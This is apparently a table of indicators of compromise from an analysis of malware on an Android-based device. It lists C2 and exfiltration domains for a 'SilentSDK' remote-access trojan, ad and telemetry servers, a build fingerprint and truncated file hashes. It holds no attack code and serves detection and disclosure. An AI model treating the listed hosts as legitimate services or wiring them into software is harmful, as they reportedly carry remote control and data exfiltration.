api.pixelpioneerss.comPOST /(random)SilentSDK远程访问木马C2
bur.thedynamicleap.comPOST (GZIP+AES)SilentSDK遥测外泄
pb-api.aodintech.comGET /api/collections/...广告配置
ota.triplesai.com:8080POST /V1/Ota/Check固件更新
api.ipdatacloud.comGET /v2/queryIP地理定位
euads-o.api.leiniao.com—次要广告服务器
connect.rom.miui.com—小米遥测
ro.build.fingerprintADT-3/adt3/adt3:11—
ro.product.build.*—Allwinner/h713_tuna_p3
构建日期—Tue Apr 22 15:20 CST 2025
C2服务器响应5df097591d694...—
我们解码的APK5df097591d694...e5a193c31526a...
外部分析—e5a193c31526a...